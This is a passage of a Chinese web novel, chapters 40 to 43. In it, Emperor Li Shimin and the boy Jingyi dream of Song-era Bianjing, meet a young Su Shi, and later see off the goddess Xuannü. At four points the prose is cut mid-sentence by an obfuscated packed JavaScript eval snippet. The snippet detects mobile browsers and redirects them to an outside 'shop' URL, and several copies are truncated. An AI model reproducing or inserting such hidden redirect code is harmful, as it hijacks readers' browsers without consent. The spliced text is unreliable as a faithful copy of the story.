“我买的时候它就是歪的。”玄女理直气壮,“不信问你大姐姐。” 长孙皇后含笑不语。景颐看看兔子,看看玄女,又看看长孙皇后,小嘴瘪了瘪,到底没敢追问。 第五日,长孙皇后午后去了凝云轩。 玄女不在,宫女说娘娘带着小郎君去太液池看鱼了。 长孙皇后在廊下站了一会儿。窗台上那盆兰草蔫头耷脑地晒着太阳,叶片焦了大半,边缘卷起枯黄,像被揉皱的旧纸。那是长琴之前亲手养的,如今已不太看得出原来的模样。 长孙皇后看了一会儿,她弯下腰,端起那盆兰草,轻轻放在廊下阴凉处。 然后她命人从立政殿后廊搬来另一盆。那是她养了三年的建兰,叶片油绿,根茎健壮,去年秋天开过一茬,今年新抽的嫩芽正从土里探出头来。 她亲手把它摆在窗台正中,左右端详片刻,日光照在油绿的叶片上,泛着柔和的光泽。 “这盆好活。”她轻声说,像在对兰草说话,“你好好长。” 第六日,玄女带着孩子们在御花园放纸鸢,长孙皇后坐在亭中,看着那几只纸鸢在碧空里追逐。玄女的纸鸢是一只凤凰,尾巴拖得极长,在风里猎猎作响。 “大姐姐!快看颐儿的风筝!”景颐拽着线跑过来,深褐色的眼眸亮晶晶的,身后那只金色小麒麟风筝歪歪扭扭地升起来,打了个旋,一头栽进花丛。 玄女笑得直不起腰,长孙皇后起身,帮景颐把风筝从花丛里解救出来。 “再来一次。”景颐不服气。 “再来。”玄女收了笑,蹲下身帮他把线理顺,“我教你。” 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行了,我走了。”她转身,“下回再来找你玩双陆。” “好。”长孙皇后说。 “你让我三局。” “……好。” 玄女这才满意,她掀开门帘,夜风灌进来,吹动她玄青的广袖。 走出三步,她又回头。 “对了,”她从袖中摸出那支枯萎的姚黄牡丹,花瓣干枯蜷缩,色泽却还依稀可辨,“这花我带回去三天就蔫了,养不活。” 她把枯花往长孙皇后手里一塞。 “下回我再来,”她顿了顿,弯起眉眼,“你再掐支新鲜的给我。” 门帘落下,那道玄青的身影消失在暮色里。 长孙皇后立在殿中,她低头看着掌心那支枯萎的姚黄。干枯的花瓣在烛光下泛着淡淡的黄,像封存已久的旧笺,像欲言又止的私语。 她轻轻笑了一声。 “好。” 她把枯花放进案头那只空置许久的瓷瓶里。 窗外月色如洗,一片干净。 40.第 40 章 甘露殿的烛火烧了一整天,此刻已有些倦怠,焰心拢成豆大一点,在夜风里轻轻摇曳。 李世民批完最后一本折子,搁下朱笔,揉了揉眉心。 案角传来细细的、均匀的呼吸声。 他转头。 景颐趴在那堆被他玩得乱七八糟的东西旁边。半块啃剩的枣泥酥、一只缺了耳朵的泥兔子、几颗从御花园捡来的彩色石子、还有一只空了的蜜水盏,盏底还汪着一小摊没舔干净的甜渍。 他枕着自己的手臂,睡得正沉。小嘴微微张着,嘴角洇开一小块水渍,睡前偷喝的那盏蜜水,到底没咽干净。 这孩子近来不肯回凝云轩。问就是“师父不在,凝云轩没人”,再问就是“颐儿在这里不吵的”,问第三遍,他就开始打哈欠,眼睛眨巴眨巴,下一秒就能枕着奏折睡过去。 李世民没赶过他,他熟练地把那孩子从案角捞起来。 景颐在睡梦中熟练地调整姿势,脑袋往他肩窝一埋,两只手攥住他衣襟,腿还不忘蹬两下,把自己挂瓷实了。 王德悄无声息地打起床帘。 李世民把那团软乎乎的小东西放到床上,扯过被子盖好。景颐翻了个身,抱住被子一角,呢喃了句含糊不清的梦话。 “……糖麒麟……” 李世民不知道自己是什么时候睡着的,只知道自己再次睁眼时,眼前已经换了一副光景。 景颐是被一片喧嚷声吵醒的。 这里的喧嚷裹挟着南腔北调的吆喝、讨价还价的争执、孩童追跑的笑闹,还有河水拍打船帮的哗哗声。 他睁开眼,瞬间惊叹好热闹! 像把全天下的热闹都倒进了一口锅里,大火煮沸,咕嘟咕嘟往外冒。 景颐发现自己站在一座木桥上。桥是木结构的,拱得高高的,像一弯卧虹。桥面上挤满了人,挑担的货郎、牵驴的老汉、抱着孩子的妇人、摇着扇子的书生。桥栏边蹲着两个卖梨的,正为一个铜板的差价争得面红耳赤。 桥下是河。河宽数丈,碧沉沉的,从看不见的远方流来,又流向看不见的远方。大大小小的船挤满了河道,有乌篷,有画舫,有运粮的大船,有打鱼的小舟。船夫的号子此起彼伏,橹声欸乃,水花四溅。 河两岸是密匝匝的店铺、酒楼、茶肆、脚店。酒旗在风中招摇,字号旗幡一层叠一层,红绿相间,把天都遮矮了三分。 景颐眨巴眨巴眼:“李叔叔?” “嗯。”李世民的声音从身旁传来。 景颐循声望去,李叔叔正负手立在桥边,望着脚下这条奔流不息的河。 梦里不知怎的,他换了身月白圆领袍,腰系乌角带,像个寻常的士人。他看得有些出神,眉头微微蹙着,似在回想什么。 “李叔叔,”景颐拽了拽他袖子,“我们好像来过这儿。” 李世民点头:“是啊,之前梦见的那个赵大哥,就是这里。” 而此刻脚下的汴京,已不是那时灰扑扑的城池了。 同一片土地,换了人间。 “这儿比上次那个热闹。”景颐歪着脑袋看着这热闹的市井,忽然说,“那时候这里灰扑扑的。不像现在。” 李世民望着这条繁忙的汴河,望着两岸层层叠叠的酒旗,望着桥下那艘正小心翼翼穿过桥拱的粮船。 “是啊。”他轻声说,“不像现在了。” 一艘大船正在过桥,那船太大了,桅杆高耸,眼看就要撞上桥拱。船夫们乱成一团,有的收帆,有的撑篙,有的扯着嗓子朝桥上喊:“让开让开——桅杆来喽——!” 桥上的人不但不让,反而呼啦啦涌到桥边,探着脑袋往下看。 “收帆收帆!左舵!左舵!” “碰着了碰着了——哎没碰着!” “好险好险!” 船帆擦着桥拱的边缘,堪堪滑过。船上桥下爆发出震天的喝彩。 景颐看得眼睛都忘了眨。 “李叔叔,”他扯了扯李世民的袖子,声音发飘,“这里的船会飞檐走壁。” 李世民低头看他,那孩子仰着脸,深褐色的眼眸里映着满河船影、满天旗幡、满桥攒动的人头,亮得惊人。 “那是收帆收得快。”李世民温声道,“不是飞檐走壁。” “可是就差一点点!”景颐用手比划,“这么一点点!” 他拇指和食指捏出一条极细的缝,眼睛瞪得圆圆的。 李世民看着他,忽然笑了一下,捏了捏他的小脸蛋:“想去逛逛吗?” 景颐用力点头。 他们从虹桥上走下来,一头扎进那条被各色店铺挤得歪歪扭扭的长街。 景颐这辈子没见过这么多吃的,胡饼铺子门口支着大炉,刚出炉的芝麻饼烫得直冒烟,面香混着芝麻香,飘出半条街。 旁边是家酥酪铺,白生生的乳酪盛在粗陶碗里,浇一勺琥珀色的蜂蜜,引得几个小童扒着柜台不肯走。再往前是蜜饯摊、蒸糕摊、灌肺摊、水饭摊、炙肉摊…… 灌肺是什么?景颐盯着那摊子看了半天,只见锅里咕嘟咕嘟煮着些白生生的东西,实在认不出是什么东西,赶紧拽着李世民往前走。 走到一家糖画摊前,他走不动了。摊主是个须发皆白的老汉,正握着一柄铜勺,手腕翻转,金黄的糖稀在石板上流淌成一只振翅的凤凰。 景颐看着那只凤凰,又看看老汉脚边那一排成品。兔子、蝴蝶、锦鲤、如意,一只比一只精巧,一只比一只晶莹剔透。 他的脚牢牢钉在原地,李世民低头看他。 “想吃?” 景颐咽了咽口水,诚实地点点头。李世民从袖中摸了摸,空的。 这是梦,他没带钱。 景颐眼巴巴地望着他,李世民有些尴尬,他轻咳一声:“……看可以。” “但不买。” 景颐的嘴慢慢瘪起来。 正在这时,一只手从旁边伸过来,把两枚铜钱拍在摊上。 “来只麒麟。” 李世民与景颐同时转头。那人是个二十多的年轻人,圆领青衫,头戴软脚幞头,面容白净,眉眼含笑。 他见两人望过来,拱了拱手,笑得坦坦荡荡。 “在下苏轼,字子瞻。”他说,“方才在桥上观船,见小郎君生得灵秀,忍不住跟了一路。” 他顿了顿,看向景颐。 “小郎君,你方才可是说了‘要是能有只糖麒麟就好了’的。” 景颐眨眨眼,他完全不记得自己说出口了。 苏轼蹲下身,与景颐平视。 “糖麒麟可不好画,”他压低声音,像在分享什么机密,“凤凰一天能画十只,麒麟三天未必画得出一只,这老伯今日若能画出麒麟,往后就能涨价。” 他指了指摊主,又指了指自己,笑得露出一口白牙。 “所以我这钱花得值。” 摊主吹胡子瞪眼:“老朽画麒麟三十年!谁说画不出!” 他抄起铜勺,狠狠舀了一勺糖稀,手腕一抖,一只憨头憨脑的小麒麟在石板上成了形,额心还点了一点金粉。 苏轼鼓掌。 李世民嘴角微微扬起。 景颐捧着那只糖麒麟,看看摊主,看看苏轼,又看看李世民,眼睛盛满了喜悦。 他舔了一下麒麟角,又舔了一下,然后小心地把整只麒麟举高,对着日光端详。 “李叔叔,”他认真地说,“这只麒麟没有颐儿好看。” 李世民以拳抵唇,轻咳一声,苏轼已经笑出了声。 苏轼决定请他们吃饭。 他在河边一家叫会仙楼的酒楼要了个临街的雅间,窗子推开,正对着汴河。 “这儿视野好,”他把菜牌往李世民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210847|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前一推,“还能看见虹桥过船。方才那艘粮船算小的,等会儿有艘运茶的,桅杆比桥还高半尺,那才叫惊险。” 李世民接过菜牌,却没有看。 他在看苏轼,他很像一个人。 不是眉眼像,是那股在人群里一眼就能认出来的、藏不住的光。 他曾经远远地见过另一个这样的人,也是酒楼,也是临窗的雅座。 那个人喝得半醉,把佩剑解下来当镇纸,在桌上铺开一张皱巴巴的诗稿。旁边坐着个戴绿帻的老者,笑着把自己的金龟搁在案角。 “酒来!今日当为吾友尽兴!” 那个人仰头大笑,把杯中残酒一饮而尽。 李世民站在楼下,隔着喧哗,隔着梦与醒的边界。此刻,他看着苏轼,这个人身上,有和那人一样的光。 “李官人?”苏轼对上他的目光,眨了眨眼,“没有合胃口的菜?” 李世民收回视线,他把菜牌推回去:“你来点。” 苏轼也不推辞,接过菜牌,熟门熟路地报出一串菜名。 “签菜来一份,拨霞供来一份,鱼要鲈鱼,紫苏多放些。再要一盘蟹酿橙,一份煿金煮玉,酒要羊羔酒,温一壶来。” 小二飞快地记着,点完又问:“客官几位?要不要尝尝今日新到的河豚?” 苏轼摆手:“河豚不点,有孩子呢。” 他指指景颐。 景颐正趴在窗台上,望着楼下那条被各色食摊挤得水泄不通的长街。 “糖葫芦!”他忽然指着街角,声音发亮。 李世民顺着他的手指望去,一个老汉扛着草靶子,上头插满了红彤彤的糖葫芦,正被一群小童围得水泄不通。 他低头看看自己空空的袖子,又看看苏轼。 苏轼已经站起来。 “我去买。”他笑得眉眼弯弯,“小郎君要几串?” 景颐伸出三根手指。 “三串。”他认真道,“颐儿和李叔叔还有苏叔叔一人一串。” 苏轼应声下楼,李世民望着他的背影,忽然开口:“你方才说,你叫苏轼。” 楼下传来回答:“对!眉山苏轼!” “字子瞻?” “是!” “……号呢?” 楼下静了一瞬。 然后那声音带着笑意飘上来:“还没想好!李官人有什么建议?” 李世民唇角微扬。 “没有。”他说,“你自己想。” 苏轼大笑着出去了。 李世民靠在窗边,望着汴河上往来的船影。他想,他只在梦里远远地望见过那个人。 不知道他从何处来,往何处去,写过多少诗,醉过多少回,不知道他后来有没有再金龟换酒,不知道他老了是什么模样,不知道他有没有碰上那个兵荒马乱的时期。 “李叔叔?”景颐的声音把他拉回现实。 那孩子不知什么时候从窗台边爬下来,正仰着脸看他,深褐色的眼眸里盛着一点困惑。 “李叔叔,”他小声说,“你在想谁呀?” 李世民低头看他。 “一个不认识的人。”他说。 门帘响动。 苏轼拿着三串糖葫芦回来了,景颐的注意力立刻被吸引过去,哒哒哒跑上前,接过自己的那串,幸福地咬下一颗。 “谢谢苏叔叔!好甜!” 苏轼在窗边坐下,也咬了一颗。 “这家的糖葫芦用的是汴河运来的新蔗,”他说,“比川中的甜。” 李世民看着他那副理所当然的、享受此刻的神情。 他忽然想知道,那个醉酒的狂客,是不是也这样。 也这样坦然地、不假思索地,给萍水相逢的路人买酒,也这样坐在窗边,对着满河灯火,随口念出自己还没想好下一句的诗。 41.第 41 章 菜陆续上桌,签菜香浓,拨霞供汤鲜,蟹酿橙的甜与紫苏鱼的辛在空气中交织,勾起馋虫。 景颐规规矩矩地坐在凳子上,眼睛却跟着小二端盘子的手滴溜溜转。 “小郎君,”苏轼夹起一筷煿金煮玉,不怀好意地在景颐眼前晃来晃去,笑眯眯地看着他,“苏叔叔来考考你,答对了,这盘就归你,如何?” 景颐立刻挺直小腰板,眼睛里满是认真:“苏叔叔你问!” 苏轼略一沉吟,清了清嗓子,学着说书先生的样子,摇头晃脑地吟道:“对酒当歌,人生几何!譬如朝露,去日苦多……” 他念得颇有韵味,带着一种慷慨又苍凉的味道。 景颐一听,眼睛“唰”地亮了,这不是梦里那个黑胡子爷爷念过的吗?他记得那个调子,记得那些“青青”、“呦呦”的句子,虽然意思不太懂,但特别好听! “慨当以慷,忧思难忘。何以解忧?唯有杜康!” 景颐几乎是不假思索地接了下去,小脑袋还跟着记忆里的节奏一点一点,声音稚嫩,却意外地抓住了那股沉郁顿挫的气韵。 他背得不太连贯,中间偶尔磕巴,但调子是对的,尤其是最后“唯有杜康”四个字,竟隐约带出点曹操横槊时的豪迈余音。 苏轼原本带笑的眼睛里,惊讶之色一闪而过。他放下筷子,抚掌:“妙啊!小郎君竟能诵曹公《短歌行》?此诗慷慨深沉,非童子常习,是家中先生所授?” 景颐眨眨眼,有点不好意思地看向李世民。这诗是梦里听的,可梦里的事能说吗?师父好像不太让随便说。 李世民正执杯欲饮,见状微微一笑,替景颐解围:“他记性好,偶尔听人吟过,便记下了。” 语气平常,仿佛真是如此。 苏轼也不深究,只是看景颐的目光更多了几分惊奇和喜爱。 “好记性!当赏!”他将那盘金黄油亮的煿金煮玉推到景颐面前,笑道,“不只这盘菜,今日这汴京城,苏叔叔带你好好逛逛,看个够!” 景颐欢呼一声,立刻拿起筷子进攻那盘菜,吃得眉眼弯弯。 李世民看着苏轼与景颐的互动,眼中掠过一丝极淡的笑意。 这年轻人身上有种罕见的鲜活气,不矫饰,不迂腐,对孩童有天然的亲和与尊重,让他也感到放松。 自前些时日接连的梦境、景颐变身、玄女来访等事,心头那根弦一直绷着,此刻在这陌生的、热闹的汴京梦境里,面对一个全然不知他身份、只以“李官人”相称的有趣书生,久违的、属于秦王李世民的那份疏朗心性,似乎悄然松动了几分。 吃完饭,苏轼果然说话算话,领着他们一头扎进了汴京的繁华里。 先去看了水傀儡,机关精巧的木偶在水台上演戏,比皮影更灵动,景颐看得目不转睛,连连拍手。苏轼就在旁边,低声给景颐解说戏文,偶尔还模仿木偶动作,逗得景颐咯咯直笑。 李世民起初还端着些长辈和观察者的架子,但很快也被这鲜活的人间烟火吸引。他看到街边杂卖的妇人,面前摆着数十个不同的小盒,分别装着各色针线、纽扣、花钿、绒花,明码标价,任由挑选,效率极高。 “这倒比东西两市那零碎铺子还方便些。”他低声自语。 苏轼耳朵尖,凑过来笑道:“这叫细分市,专做小物件生意。汴京人多,需求杂,这么卖,买卖两便。李官人您瞧那边,” 他指向一个挂着“代写书信,兼售花笺”招牌的小摊,“不光代笔,还卖漂亮信纸,生意就好过单代笔的。这边人都琢磨这个,怎么把一样事做出点花样,多揽些主顾。” 李世民顺着望去,若有所思。这种深入市井肌理的商业智慧和灵活性,是宏大典制难以涵盖的生机。 行至一处宽阔场地,锣鼓喧天,里三层外三层围满了人。原来是相扑正在上演,两个袒胸露腹的壮汉扭作一团,肌肉贲张,吼声如雷,观众喝彩震天。 景颐个子小,急得直跳脚也看不见。苏轼哈哈一笑,竟弯腰一把将景颐举起来,让他骑在自己肩上:“扶稳喽!这就叫登高望远!” 视野豁然开朗,景颐兴奋地“哇”出声,紧紧抓住苏轼的幞头。 李世民在一旁,看着苏轼毫不费力地扛着景颐,随着场中比拼大呼小叫,全然不顾书生形象,那洒脱畅快的模样,让他也不禁莞尔。这让他想起年少时,与军中同袍也是如此不拘形迹,恣意欢笑。 “苏贤弟好臂力。”李世民笑道,语气轻松了许多。 “那是!”苏轼得意,随即又指着场中一个灵活躲闪的汉子,“李兄你看那人,看似瘦小,却擅用巧劲,以柔克刚,颇有古之刺客遗风!” “哦?”李世民凝目细看,他本就是兵法大家,此刻以看战阵的眼光审视这市井相扑,竟也看出些门道,不由与苏轼讨论起来,何处是诱敌,何处是发力,说得头头是道。 两人一个博闻强识、引经据典,一个实战经验丰富、见解独到,竟越聊越投机,从相扑技法,聊到古今战例,又旁及地理风俗,全然忘了身是梦中客。 景颐骑在苏轼肩上,一会儿看下面摔跤,一会儿低头看谈兴正浓的两位叔叔,虽然听不太懂那些什么兵法、地势,但觉得李叔叔好像比平时更爱说话,眼睛也更亮了。 苏叔叔就更不用说了,眉飞色舞,有时候争得急了,差点把头上的景颐晃下来。 直到日头西斜,汴河上泛起粼粼金波,苏轼才哎呀一声,轻轻将景颐放下,揉了揉肩膀,脸上犹带未尽兴之色:“畅快!与李兄一席谈,胜读十年书!只可惜……” 他望了望天色,又看看远处隐约可见的巍峨宫墙方向,笑容淡了些,露出一丝混杂着期待与离愁的复杂神色。 “实不相瞒,李兄,景颐小友,”苏轼拱手,语气真诚,“再过两日,在下便要离京,赴凤翔府任签判了。舍弟子由,怕已等我回去收拾行囊,等得跳脚了。今日能与二位邂逅同游,实乃子瞻之幸,他日若有缘再会……” 他顿了顿,笑容重新明亮起来,带着他特有的旷达,“定当再备薄酒,与李兄论尽天下英雄,看遍汴京繁华!” 赴任凤翔?李世民虽不知眼前这年轻书生未来的命运如何,但“赴任”二字,已足够勾勒出一幅人生画卷展开的图景。 他亦郑重拱手:“苏贤弟前程似锦,一路珍重。” “苏叔叔要走了吗?”景颐听懂了他话里的意思,有些不舍,拽了拽苏轼的袖子。 苏轼弯腰,捏了捏他的小脸蛋。 “凤翔也有好吃的。”他掰着手指数,“豆花泡馍、腊驴肉、臊子面。” 他顿了顿,笑得眉眼弯弯。 “小景颐若是有缘来凤翔,记得来找我,我带你吃遍全城。” “嗯!”景颐用力点头。 苏轼直起身,最后看了一眼这落日余晖中的繁华汴京,那一眼,有留恋,有豪情,也有一丝年轻的、对未知前路的憧憬。然后,他不再多言,再次拱手,转身,汇入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215230|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮色中熙熙攘攘的人流。 他没有回头。 李世民和景颐站在原地,看着那道青衫身影在人群中渐行渐远,走过虹桥,走过河岸,最终消失在鳞次栉比的屋舍与袅袅升起的炊烟之后,再也看不见了。 汴京的灯火,一盏接一盏亮了起来。河上的画舫点起彩灯,酒楼的灯笼映红半条街,卖夜食的挑子吱呀呀走过,留下温暖的香气。 这座不夜城,并未因一个书生的离去而有丝毫改变,依旧喧腾着,鲜活着,流淌着无尽的人间烟火。 景颐仰头看着李世民。李叔叔没有说话,只是静静望着苏轼消失的方向,又缓缓环视这璀璨的夜景,目光深邃,仿佛要将这陌生又鲜活的文明图景,这奇妙的邂逅,这年轻生命奔赴前程的背影,都深深印入心底。 晚风带着河水与食物的气息吹来,梦境开始如水波般荡漾、模糊。虹桥、汴河、灯火、喧嚣……如同褪色的画卷,一点点淡去。 景颐是被脸颊上痒酥酥的感觉弄醒的。睁眼时,天光已大亮,甘露殿的晨风穿过窗棂,带着柳絮,轻飘飘地拂在脸上。 他迷迷糊糊坐起来,身上盖着李叔叔的薄毯。昨夜的记忆如潮水般涌回,虹桥、汴河、会仙楼、热闹的瓦子、有趣的苏叔叔,还有那场没有回头、消失在汴京灯火里的告别。 心里有一点点空落落的,像糖吃完后嘴里留下的那点甜丝丝的惆怅。 他下意识地摸了摸胸口。离别前,苏叔叔蹲下身,用不知从哪儿变出来的一张彩色笺纸,三折两叠,指尖翻飞,变戏法似的折出了一只胖墩墩、耳朵支棱的纸兔子,塞进他手里。 “小景颐,这个给你,这可是我苏轼独家的兔子,除了我家子由谁也没有!”苏轼当时笑得眉眼弯弯。 景颐连忙低头,在自己皱巴巴的衣襟里摸索,找到了! 小心地掏出来,那只原本神气活现的纸兔子,经过一夜酣睡,已经被压得扁扁的,一边耳朵耷拉下来,彩色的笺纸也起了毛边,显得可怜又可爱。 景颐没有失望,反而很珍惜地把它捧在手心,伸出小手,极其轻柔、一点点地将卷曲的纸边捋平,试图把塌下去的耳朵重新立起来。 他做得很认真,小脸几乎要贴到纸兔子上,深褐色的眼眸专注得发亮。 虽然它皱了,扁了,可它是苏叔叔给的,是从那个有会飞的船、会说话的糖画、和特别亮的灯火的梦里带回来的。 李世民批完晨起的第一拨急报,转头便看到这一幕。孩童低着头,全心全意对付着手中那团皱巴巴的彩纸,侧脸在晨光里显得异常柔软。他心中微软,放下朱笔。 “是什么宝贝,看得这样认真?” 景颐闻声抬头,献宝似的将勉强恢复些形状的纸兔子举高:“李叔叔看!苏叔叔给的兔子!从梦里带出来的!” 李世民接过,仔细端详。纸张是汴京常见的印花笺,质地普通,折法也简单,绝非宫中巧匠之作。但正是这份简单和来自梦境的真实,让它有了不同寻常的意义。 他仿佛能看到那个叫苏轼的年轻人,随手从袖中摸出张纸,带着笑意和离别时的那点温柔,为萍水相逢的孩子折出这个小玩意儿。 “嗯,是只精神兔子。”李世民评价道,将纸兔小心递回,“收好,莫再压着了。” “嗯!”景颐用力点头,环顾四周,最终将纸兔端端正正地放在了御案一角,一个既不会碍事,抬眼又能看见的位置。那里,成了纸兔在长安的新家。 42.第 42 章 接下来的几天,汴京梦的后遗症开始在景颐身上显现。 他最念念不忘的,除了苏叔叔,就是虹桥下那个老伯画的糖麒麟。 “比颐儿画得像!”他这么认为。于是,凝云轩的庭院里,开始了一场轰轰烈烈的糖画运动。 没有糖稀,就用树枝蘸了清水,在青石板上画。丽质被他拉来当画糖师傅,李治是忠实观众兼品鉴官,李泰听说后,立刻宣布要当竞争对手,在另一边石板上画他自认为威风凛凛的糖龙。 “四兄!你的龙像胖蚯蚓长角了!”景颐指着李泰的“大作”咯咯直笑。 “你懂什么!这是蓄势待发!”李泰涨红了脸辩解,手上却不小心把龙尾巴画成了疙瘩。 丽质忍着笑,手腕轻转,用清水画出了一只翩然欲飞的蝴蝶,虽无糖色,却自有一股灵动。 李治拍着小手:“阿姊画得最好看!” 孩子们的笑闹声惊动了偶尔路过的宫人,大家也都见怪不怪,含笑绕过,不去打扰这小院的欢乐。 这股汴京风甚至还刮到了立政殿。某日午后,长孙皇后正与得了批准入世的玄女对弈双陆,景颐哒哒哒跑进来,手里捧着几个小小的、洗干净的空蚌壳。 “大姐姐,玄女姐姐,”他眼睛亮晶晶的,“我们玩分盏好不好?像汴州脚店那样!” “分盏?”长孙皇后放下棋子,温和地问。 “就是把好吃的、好喝的,分到小盏里,每人一点点,可以尝到好多种!”景颐努力描述着从苏轼那里听来的、汴京食肆流行的分享方式。他记得苏叔叔说,这样既热闹,又不会浪费。 长孙皇后与玄女对视一眼,都看到对方眼中的笑意。 “好呀,”玄女率先响应,兴致勃勃,“我那还有半包从西市买来的椒盐杏仁,正好拿来分!” 于是,立政殿的玉案上,摆开了数个莹润的白玉小碟、掐丝珐琅小盅。尚食局刚进上的樱桃酪、新蒸的玉露团、玄女的椒盐杏仁、长孙皇后小厨房特制的梅花糕,都被细心分装成小份。 景颐负责分配,小脸严肃,力求公平,虽然他那套“谁年纪小谁多颗杏仁”的规则惹得李泰哇哇叫,却也热闹非凡。 李世民处理完政务过来时,看到的就是这副分盏宴的景象。孩子们叽叽喳喳,长孙皇后含笑看着,玄女正试图从李治的小盅里顺一颗杏仁,被眼尖的景颐抓个正着。 “二郎快来,”长孙皇后笑着招呼,“尝尝景颐分的樱桃酪,他说这是汴州吃法。” 李世民从善如流,拈起一小碟。甜酪入口冰凉细腻,看着孩子们因为分享而更显兴奋的笑脸,听着他们关于汴京游戏的各种童言稚语,他心中那点因苏轼离去、长琴未归而产生的些微空茫,似乎也被这满室的温馨踏实填满了。 他忽然对侍立一旁的王德低声吩咐了几句。王德领命而去,不久,内侍捧来一套崭新的、造型各异的精巧瓷盏,专为分盏之用。 “既是游戏,便该有合用的器具。”李世民笑道,眼睛映着晃动的烛火,目若朗星。 欢乐的日子过得飞快。转眼,玄女在宫中已住了小半月,终于在一个朝霞漫天的清晨,来向李世民和长孙皇后辞行。 “宫里虽好,也不能总赖着。”她伸了个懒腰,鬓边露珠在晨光中流转生辉,“好不容易批了个假,当然要四处转转。” “玄女姐姐要走了吗?”景颐刚刚被丽质带来请安,闻言立刻跑过去,拽住她的袖子,满眼不舍。 玄女弯腰,捏了捏他的鼻尖:“是啊,姐姐要去玩啦!回来给你带好吃的!对了!” 她变戏法似的从袖中取出一片非金非玉、薄如蝉翼的青色叶子,叶子脉络清晰,隐隐有光华流动,“这个给你。” “这是什么?”景颐好奇地接过,叶子触手微凉。 “你师父从东海捎来的口信。”玄女道,“他一时半会回不来,归墟那地方比想象中麻烦,不过,”她顿了顿,语气轻松了些,“他说《鸣岐谱》的线索已有些眉目,让你别担心,好好吃饭,别总闯祸。” 景颐睁大眼睛,捧着叶子:“师父……师父真的说话了?” “你集中精神,轻轻摸一下叶脉中间试试?”玄女引导着他。 景颐依言,伸出小手指,小心翼翼地碰了碰叶子中心的脉络。 一缕极淡、极缥缈的琴音,仿佛从极其遥远的海底传来,透过叶片,轻轻响在景颐的心间。那不是成调的曲子,更像是一声带着疲惫、却依旧清越安心的叹息,尾音微微上扬,如同琴弦被最温柔的风拂过。 与此同时,景颐贴身佩戴的那枚长琴所赠的玉佩,忽然散发出一阵温润的暖意,贴着皮肤,并不烫,却异常清晰。 琴音只持续了短短一瞬,便消散了。叶子的光华也黯淡下去,变成一片普通的、好看的青叶。 景颐却愣住了,他摸了摸胸口温热的玉佩,又看看手中的叶子,深褐色的眼眸里慢慢涌上水光,嘴角却高高地翘了起来。 “师父……”他小声地、满足地嘟囔了一句,把叶子和玉佩一起,紧紧捂在心口。 李世民将这一切看在眼里,心中稍安。长琴无事,且有进展,便是最好的消息。他看向玄女,郑重颔首:“有劳玄女奔走传讯。” 玄女摆摆手:“客气。小景颐我挺喜欢,他师父又是个锯嘴葫芦,我不帮着点谁帮?”她说着,又冲长孙皇后眨眨眼,“双陆我还记着呢,下回定要赢你!” 长孙皇后温婉一笑:“随时恭候。” 玄女如来时一般洒脱,挥挥手,玄青身影便在晨光中淡去,仿佛化作了一缕带着露水清气的风,消失在重重宫阙之外。 凝云轩似乎一下子安静了许多,但那片能传来师父琴音的叶子和依旧温热的玉佩,成了景颐的宝贝。 他时不时就要摸一摸,感受那份遥远的联系,然后继续他充满汴京遗风的日常,比如在青石板上画糖画,组织分盏小宴,或者对着御案上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼下是开阔的中庭,此刻竟被改成了临时的宴会场所。数十张案几摆得歪歪斜斜,坐满了形形色色的人:有宽袍大袖、狂放不羁的文士,有粗豪健硕、坦胸露怀的武人,有抱着琵琶箜篌、巧笑倩兮的乐伎,甚至还有几个胡商打扮的,正操着生硬的官话与人拼酒。 人人面前杯盘狼藉,酒液泼洒得到处都是,烛火煌煌,映得一张张面孔红光满面。 中庭中央,甚至有人趁着酒兴,拔剑起舞,剑光霍霍,引来一片轰然叫好。 “这……这是何处?”李世民蹙眉,这混乱豪奢的场面,与他所知的任何宫廷或正式宴饮都迥然不同。 “李叔叔!”衣袖被轻轻拽动。李世民低头,景颐不知何时已站在他身边,正仰着小脸,眼睛瞪得溜圆,好奇地打量着这喧腾的景象。他手里还拿着那只纸兔子,在这梦境里,纸兔似乎也染上了些许鲜活气。 “我们……又做梦了?” 43.第 43 章 景颐吸了吸鼻子:“好香的酒味,还有烤肉!” 李世民将他往身边拢了拢,目光谨慎地扫过全场。这里不像是有明确主人的宴席,倒像是一场临时起意、不断有人加入的狂欢。他的目光,最终落在了廊下斜对面,那张最为热闹的案几旁。 那里围的人最多,叫好声最响。 被围在中间的,是一个身穿旧袍、头戴黑色软脚幞头的男子。他背对着这边,看不清面容,只能看见他一手执著巨大的酒觥,一手在空中用力挥动,随着他手臂的挥舞,围观众人的情绪便跟着高涨一分。 他在吟诗。 